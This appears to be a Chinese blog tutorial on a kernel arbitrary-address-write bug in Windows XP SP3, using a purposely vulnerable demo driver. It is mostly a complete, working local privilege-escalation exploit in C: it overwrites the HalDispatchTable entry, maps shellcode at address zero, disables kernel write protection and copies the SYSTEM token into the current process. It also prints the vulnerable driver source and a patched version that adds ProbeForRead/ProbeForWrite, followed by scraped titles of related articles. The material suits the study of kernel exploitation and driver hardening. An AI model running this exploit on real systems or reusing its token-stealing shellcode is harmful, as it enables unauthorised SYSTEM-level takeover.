内核漏洞,任意地址写任意数据模型

实验环境 xp sp3

此实验将一个不常用的内核函数置0,然后R3申请了0地址的指针,将shellcode拷到此内存,内核并没有做ProbeForRead /Write检查

直接对传入的数据进行了修改,造成了任意地址写任意数据漏洞 ,提权了R3程序为system权限

R3代码

主要获得一个函数的地址,将函数地址传入R0

R0将此函数地址置0,然后R3申请了一个0地址,将shellcode拷到了申请的内存中,然后调用被置0的函数,触发了shellcode

// exploit.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "ntapi.h"
#include <conio.h>
#pragma comment(linker,"/defaultlib:ntdll.lib")  

#define PAGE_SIZE 0x1000
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define KERNEL_NAME_LENGTH 0x0D
#define BUFFER_LENGTH 0x04

//触发漏洞使用的IoControlCode
#define IOCTL_METHOD_NEITHER 0x8888A003

int g_uCr0 = 0;
int g_isRing0ShellcodeCalled = 0;

//Ring0中执行的Shellcode
NTSTATUS Ring0ShellCode(
						ULONG InformationClass,
						ULONG BufferSize,
						PVOID Buffer,
						PULONG ReturnedLength)
{
	//打开内核写
	__asm
	{
		cli;
		mov eax, cr0;
		mov g_uCr0,eax;
		and eax,0xFFFEFFFF;
		mov cr0, eax;
	}
	//USEFULL FOR XP SP3
	__asm
	{
		//KPCR
		//由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)
		//即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构,
		//这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息.
		//通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB.
		//http://blog.csdn.net/hu3167343/article/details/7612595
		//http://huaidan.org/archives/2081.html
		mov eax, 0xffdff124  //KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[0FFDFF124h]获取当前线程的ETHREAD指针。
		mov eax,[eax] //PETHREAD
		mov esi,[eax+0x220] //PEPROCESS
		mov eax, esi
searchXp:
		mov eax,[eax+0x88] //NEXT EPROCESS
		sub eax,0x88
		mov edx,[eax+0x84] //PID
		cmp edx,0x4	//SYSTEM PID
		jne searchXp
		mov eax, [eax+0xc8] //SYSTEM TOKEN
		mov [esi+0xc8],eax //CURRENT PROCESS TOKEN
	}
	//关闭内核写
	__asm
	{
		sti;
		mov eax, g_uCr0;
		mov cr0,eax;
	}

	g_isRing0ShellcodeCalled = 1;
	return 0;
}  

//申请内存的函数
PVOID MyAllocateMemory(IN ULONG Length)
{
	NTSTATUS NtStatus;
	PVOID BaseAddress = NULL;
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		0,
		&Length,
		MEM_RESERVE |
		MEM_COMMIT,
		PAGE_READWRITE);
	if(NtStatus == STATUS_SUCCESS)
	{
		RtlZeroMemory(BaseAddress, Length);
		return BaseAddress;
	}
	return NULL;
}

//释放内存的函数
VOID MyFreeMemory(IN PVOID BaseAddress)
{
	NTSTATUS NtStatus;
	ULONG FreeSize = 0;
	NtStatus = NtFreeVirtualMemory(
		NtCurrentProcess(),
		&BaseAddress,
		&FreeSize,
		MEM_RELEASE);
}

//main函数
int main(int argc, char* argv[])
{
	NTSTATUS NtStatus;
	HANDLE DeviceHandle=NULL;
	ULONG ReturnLength = 0;
	ULONG ImageBase;
	PVOID MappedBase=NULL;
	UCHAR ImageName[KERNEL_NAME_LENGTH];
	ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
	PVOID HalDispatchTable;
	PVOID xHalQuerySystemInformation;
	ULONG ShellCodeSize = PAGE_SIZE;
	PVOID ShellCodeAddress;
	PVOID BaseAddress = NULL;
	UNICODE_STRING DeviceName;
	UNICODE_STRING DllName;
	ANSI_STRING ProcedureName;
	OBJECT_ATTRIBUTES ObjectAttributes;
	IO_STATUS_BLOCK IoStatusBlock;
	SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
	LARGE_INTEGER Interval;
	ULONG InputData=0;

	//清空控制台屏幕
	system("cls");

	//printf("Please press any key to exploit");
	//getch();
	//从line 139-->line 214都是在获取内核函数xHalQuerySystemInformation的内存地址
	//获取内核模块列表数据长度到ReturnLength
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		&ReturnLength);
	if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
	{
		printf("NtQuerySystemInformation get len failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}

	//申请内存
	ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
	ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
	if(ModuleInformation==NULL)
	{
		printf("MyAllocateMemory failed! Length=%.8X\n", ReturnLength);
		goto ret;
	}

	//获取内核模块列表数据
	NtStatus = NtQuerySystemInformation(
		SystemModuleInformation,
		ModuleInformation,
		ReturnLength,
		NULL);
	if(NtStatus != STATUS_SUCCESS)
	{
		printf("NtQuerySystemInformation get info failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}

	//保存内核第一个模块(即nt模块)基址和名称,并打印
	ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
	RtlMoveMemory(
		ImageName,
		(PVOID)(ModuleInformation->Module[0].ImageName +
		ModuleInformation->Module[0].PathLength),
		KERNEL_NAME_LENGTH);
	printf("ImageBase=0x%.8X ImageName=%s\n",ImageBase,	ImageName);

	//获取内核模块名称字符串的Unicode字符串
	RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);

	//加载内核模块到本进程空间
	NtStatus = LdrLoadDll(
		NULL,                // DllPath
		&DllCharacteristics, // DllCharacteristics
		&DllName,            // DllName
		&MappedBase);        // DllHandle
	if(NtStatus)
	{
		printf("LdrLoadDll failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}

	//获取内核模块在本进程空间中导出名称HalDispatchTable的地址
	RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
	NtStatus = LdrGetProcedureAddress(
		(PVOID)MappedBase,          // DllHandle
		&ProcedureName,             // ProcedureName
		0,                          // ProcedureNumber OPTIONAL
		(PVOID*)&HalDispatchTable); // ProcedureAddress
	if(NtStatus)
	{
		printf("LdrGetProcedureAddress failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}

	//计算实际的HalDispatchTable内核地址
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
	HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);

	//HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
	xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));

	//打印HalDispatchTable内核地址和xHalQuerySystemInformation值
	printf("HalDispatchTable=%p xHalQuerySystemInformation=%p\n",
		HalDispatchTable,
		xHalQuerySystemInformation);

	//设备名称的Unicode字符串
	RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

	//打开ExploitMe设备
	ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
	ObjectAttributes.RootDirectory = 0;
	ObjectAttributes.ObjectName = &DeviceName;
	ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
	ObjectAttributes.SecurityDescriptor = NULL;
	ObjectAttributes.SecurityQualityOfService = NULL;
	NtStatus = NtCreateFile(
		&DeviceHandle,     // FileHandle
		FILE_READ_DATA |
		FILE_WRITE_DATA,   // DesiredAccess
		&ObjectAttributes, // ObjectAttributes
		&IoStatusBlock,    // IoStatusBlock
		NULL,              // AllocationSize OPTIONAL
		0,                 // FileAttributes
		FILE_SHARE_READ |
		FILE_SHARE_WRITE, // ShareAccess
		FILE_OPEN_IF,     // CreateDisposition
		0,                // CreateOptions
		NULL,             // EaBuffer OPTIONAL
		0);               // EaLength
	if(NtStatus)
	{
		printf("NtCreateFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	//利用漏洞将HalQuerySystemInformation函数地址改为0
	InputData = 0;
	NtStatus = NtDeviceIoControlFile(
		DeviceHandle,         // FileHandle
		NULL,                 // Event
		NULL,                 // ApcRoutine
		NULL,                 // ApcContext
		&IoStatusBlock,       // IoStatusBlock
		IOCTL_METHOD_NEITHER, // IoControlCode
		&InputData,           // InputBuffer--->任意数据(0)
		BUFFER_LENGTH,        // InputBufferLength
		xHalQuerySystemInformation, // OutputBuffer-->任意地址
		BUFFER_LENGTH);       // OutBufferLength
	if(NtStatus)
	{
		printf("NtDeviceIoControlFile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	} 

	//在本进程空间申请0地址内存
	ShellCodeAddress = (PVOID)sizeof(ULONG);//4
	NtStatus = NtAllocateVirtualMemory(
		NtCurrentProcess(),      // ProcessHandle
		&ShellCodeAddress,       // BaseAddress 4
		0,                       // ZeroBits
		&ShellCodeSize,          // AllocationSize
		MEM_RESERVE |
		MEM_COMMIT |
		MEM_TOP_DOWN,            // AllocationType
		PAGE_EXECUTE_READWRITE); // Protect可执行,可读可写
	if(NtStatus)
	{
		printf("NtAllocateVirtualMemory failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p\n", ShellCodeAddress); 

	//复制Ring0ShellCode到0地址内存中
	RtlMoveMemory(
		ShellCodeAddress,
		(PVOID)Ring0ShellCode,
		ShellCodeSize);

	//触发漏洞
	NtStatus = NtQueryIntervalProfile(
		ProfileTotalIssues, // Source
		NULL);              // Interval
	if(NtStatus)
	{
		printf("NtQueryIntervalProfile failed! NtStatus=%.8X\n", NtStatus);
		goto ret;
	}
	printf("NtQueryIntervalProfile succeed!\n");

ret:
	if(g_isRing0ShellcodeCalled)
	{
		printf("exploit done success!\n");
	}
	else
	{
		printf("exploit failed\n");
	}

	system("pause");
	//释放申请的内存
	if (ModuleInformation)
	{
		MyFreeMemory(ModuleInformation);
	}
	//卸载本进程中的内核模块
	if (MappedBase)
	{
		LdrUnloadDll((PVOID)MappedBase);
	}
	//关闭句柄
	if(DeviceHandle)
	{
		NtStatus = NtClose(DeviceHandle);
		if(NtStatus)
		{
			printf("NtClose failed! NtStatus=%.8X\n", NtStatus);
		}
	}
	return 0;
}

内核很简单,是用了直接IO USERBUF  对传入的数据直接修改了值

/********************************************************************
	created:	2010/12/06
	filename: 	D:\0day\ExploitMe\exploitme.c
	author:		shineast
	purpose:	Exploit me driver demo
*********************************************************************/
#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)

//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;

/**********************************************************************
 驱动派遣例程函数
	输入:驱动对象的指针,Irp指针
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
	PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
	PVOID Type3InputBuffer;//用户态输入地址
	PVOID UserBuffer;//用户态输出地址
	ULONG inputBufferLength;//输入缓冲区的大小
	ULONG outputBufferLength;//输出缓冲区的大小
	ULONG ioControlCode;//DeviceIoControl的控制号
	PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
	NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 

	//获取数据
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned

	//根据 ioControlCode 完成对应的任务
	switch(ioControlCode)
	{
	case IOCTL_EXPLOIT_ME:
		if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
		{
			*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
			IoStatus->Information = sizeof(ULONG);
		}
		break;
	}  

	//返回
	IoStatus->Status = ntStatus;
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
/**********************************************************************
 驱动卸载函数
	输入:驱动对象的指针
	输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{
	UNICODE_STRING symLinkName;
	KdPrint(("DriverUnload: 88!\n"));
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
 驱动入口函数(相当于main函数)
	输入:驱动对象的指针,服务程序对应的注册表路径
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i=0;
	//打印一句调试信息
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	//创建设备
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
		return ntStatus;
	}
	//创建符号链接
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus))
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	//设置该驱动对象的卸载函数
	driverObject->DriverUnload = DriverUnload;
	//设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	//返回成功结果
	return STATUS_SUCCESS;
}

修复也很简单,使用异常处理块 + ProbeForRead/Write检测传入的userbuff

/********************************************************************
	created:	2010/12/06
	filename: 	D:\0day\ExploitMe\exploitme.c
	author:		shineast
	purpose:	Exploit me driver demo
*********************************************************************/
#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\DRIECTX1"
#define FILE_DEVICE_EXPLOIT_ME 0x00008888
#define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS)

//创建的设备对象指针
PDEVICE_OBJECT g_DeviceObject;

/**********************************************************************
 驱动派遣例程函数
	输入:驱动对象的指针,Irp指针
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp)
{
	PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈
	PVOID Type3InputBuffer;//用户态输入地址
	PVOID UserBuffer;//用户态输出地址
	ULONG inputBufferLength;//输入缓冲区的大小
	ULONG outputBufferLength;//输出缓冲区的大小
	ULONG ioControlCode;//DeviceIoControl的控制号
	PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针
	NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 

	//获取数据
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	UserBuffer = pIrp->UserBuffer;
	inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	IoStatus=&pIrp->IoStatus;
	IoStatus->Status = STATUS_SUCCESS;// Assume success
	IoStatus->Information = 0;// Assume nothing returned

	//根据 ioControlCode 完成对应的任务
	switch(ioControlCode)
	{
	case IOCTL_EXPLOIT_ME:
		__try
		{

			if ( inputBufferLength >= 4 && outputBufferLength >= 4 )
			{
				//Type3InputBuffer 任意数据
				//UserBuffer 任意地址
				//当UserBuffer不是用户态地址 ProbeForRead/Write抛出STATUS_ACCESS_VIOLATION异常
				ProbeForRead(UserBuffer,sizeof(ULONG),sizeof(ULONG));
				ProbeForWrite(UserBuffer,sizeof(ULONG),sizeof(ULONG));
				*(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer;
				IoStatus->Information = sizeof(ULONG);
			}
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			ntStatus = GetExceptionCode();
			IoStatus->Information = sizeof(ULONG);
		}

		break;
	}  

	//返回
	IoStatus->Status = ntStatus;
	IoCompleteRequest(pIrp,IO_NO_INCREMENT);
	return ntStatus;
}
/**********************************************************************
 驱动卸载函数
	输入:驱动对象的指针
	输出:无
**********************************************************************/
VOID DriverUnload( IN PDRIVER_OBJECT  driverObject )
{
	UNICODE_STRING symLinkName;
	KdPrint(("DriverUnload: 88!\n"));
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	IoDeleteSymbolicLink(&symLinkName);
	IoDeleteDevice( g_DeviceObject );
}
/*********************************************************************
 驱动入口函数(相当于main函数)
	输入:驱动对象的指针,服务程序对应的注册表路径
	输出:NTSTATUS类型的结果
**********************************************************************/
NTSTATUS DriverEntry( IN PDRIVER_OBJECT  driverObject, IN PUNICODE_STRING  registryPath )
{
	NTSTATUS       ntStatus;
	UNICODE_STRING devName;
	UNICODE_STRING symLinkName;
	int i=0;
	//打印一句调试信息
	KdPrint(("DriverEntry: Exploit me driver demo!\n"));
	//创建设备
	RtlInitUnicodeString(&devName,DEVICE_NAME);
	ntStatus = IoCreateDevice( driverObject,
		0,
		&devName,
		FILE_DEVICE_UNKNOWN,
		0, TRUE,
		&g_DeviceObject );
	if (!NT_SUCCESS(ntStatus))
	{
		return ntStatus;
	}
	//创建符号链接
	RtlInitUnicodeString(&symLinkName,DEVICE_LINK);
	ntStatus = IoCreateSymbolicLink( &symLinkName,&devName );
	if (!NT_SUCCESS(ntStatus))
	{
		IoDeleteDevice( g_DeviceObject );
		return ntStatus;
	}
	//设置该驱动对象的卸载函数
	driverObject->DriverUnload = DriverUnload;
	//设置该驱动对象的派遣例程函数
	for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		driverObject->MajorFunction[i] = DrvDispatch;
	}
	//返回成功结果
	return STATUS_SUCCESS;
}
时间: 2025-01-20 02:22:27

内核漏洞,任意地址写任意数据模型的相关文章

Linux下fastbin利用小结——fd覆盖与任意地址free

linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了k0sh1师傅写在freebuf上的一篇文章.我写了几个demo来说明问题. 目录 1.关于fastbin 2.覆盖fd指针实现利用 3.任意地址free实现利用(House of Spirit) 1.关于fastbin 我们一般熟悉的堆都是双链表的chunk,但是对于大小为(16 Bytes~ 8

基于自适应热补丁的Android内核漏洞生态修复方案

1. 背景 Android内核漏洞严重影响了Android平台的安全.一旦内核被攻破,所有依赖内核完整性的安全机制都岌岌可危(比如加密.进程隔离.支付.指纹验证等).作为Android平台最后的防线,TrustZone也会受到威胁,因为内核可以从很多被信任的接口向TrustZone发起攻击.因此,理想情况下Android生态圈应该及时消灭内核漏洞.然而从Google的Android Security Bulletin上看,Android内核漏洞的数量呈飞快上涨的趋势(Figure 1所示).虽然

linux kernel pwn notes(内核漏洞利用总结)

前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了标注,如有遗漏,请提醒. 环境搭建 对于 ctf 中的 pwn 一般都是给一个 linux 内核文件 和一个 busybox 文件系统,然后用 qemu 启动起来.而且我觉得用 qemu 调试时 gdb 的反应比较快,也没有一些奇奇怪怪的问题.所以推荐用 qemu 来调,如果是真实漏洞那 vmwar

zergRush (CVE-2011-3874) 安卓内核漏洞成因分析

部分内容参考自http://www.cnblogs.com/daishuo/p/4002963.html zergRush是我接触的第一个CVE漏洞,该漏洞影响安卓2.2-2.3.6版本系统.CVE-2011-3874描述得很明白,这个漏洞的本质是"use after free". 漏洞存在于/system/bin/vold这个root身份的系统程序.具体地,vold调用了libsysutils.so,真正有问题的是这个 so.对应源码在/system/core/libsysutils

6410学习笔记-将内核zImage、文件系统写到nandflash

1.之前已经将uboot写到nandflash里面了,接下来将内核zImage.文件系统写到nandflash. 2.编译内核 cd linux-2.6.28_smdk6410 make clean make distclean cp  smdk6410_config .config make menuconfig 将Device Drivers --->Graphics support ---> Support for frame buffer devices ---> select

内核漏洞学习—熟悉HEVD

一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数:四颗星 原文地址:https://hshrzd.wordpress.com/2017/06/05/starting-with-windows-kernel-exploitation-part-2/ 由prison翻译整理,首发i春秋. 本文默认读者已经配置好了基本实验环境,因为环境配置网络上有大量

Android内核漏洞利用技术实战:环境搭建&amp;栈溢出实战

前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是arm汇编以及环境的搭建方面.本文对我最近的实践做一个分享,其实很简单. 内核调试环境搭建 搭建平台: ubuntu 16.04 这里使用 android 模拟器来进行内核调试.首先下载内核代码 git clone https://aosp.tuna.tsinghua.edu.cn/kernel/g

Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具

今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内核活动-进程/线程创建和终止,上下文转换,文件系统I/O,寄存器,网络活动以及DLL加载/卸载等等.除此之外,所有的内核事件可以直接以AMQP消息.Elasticsearch簇或标准输出流的形式提供给用户.大家可以使用filaments(一款轻量级Python模块)来根据自己的需要去扩展Fibrat

HDU 5001 Walk 求从任意点出发任意走不经过某个点的概率 概率dp 2014 ACM/ICPC Asia Regional Anshan Online

题意: 给定n个点m条边的无向图 问: 从任意点出发任意走d步,从不经过某个点的概率 dp[i][j]表示从不经过i点的前提下,走了d步到达j点的概率. #include <iostream> #include <cstdio> #include <string.h> #include <queue> #include <vector> #include <algorithm> #include <set> using n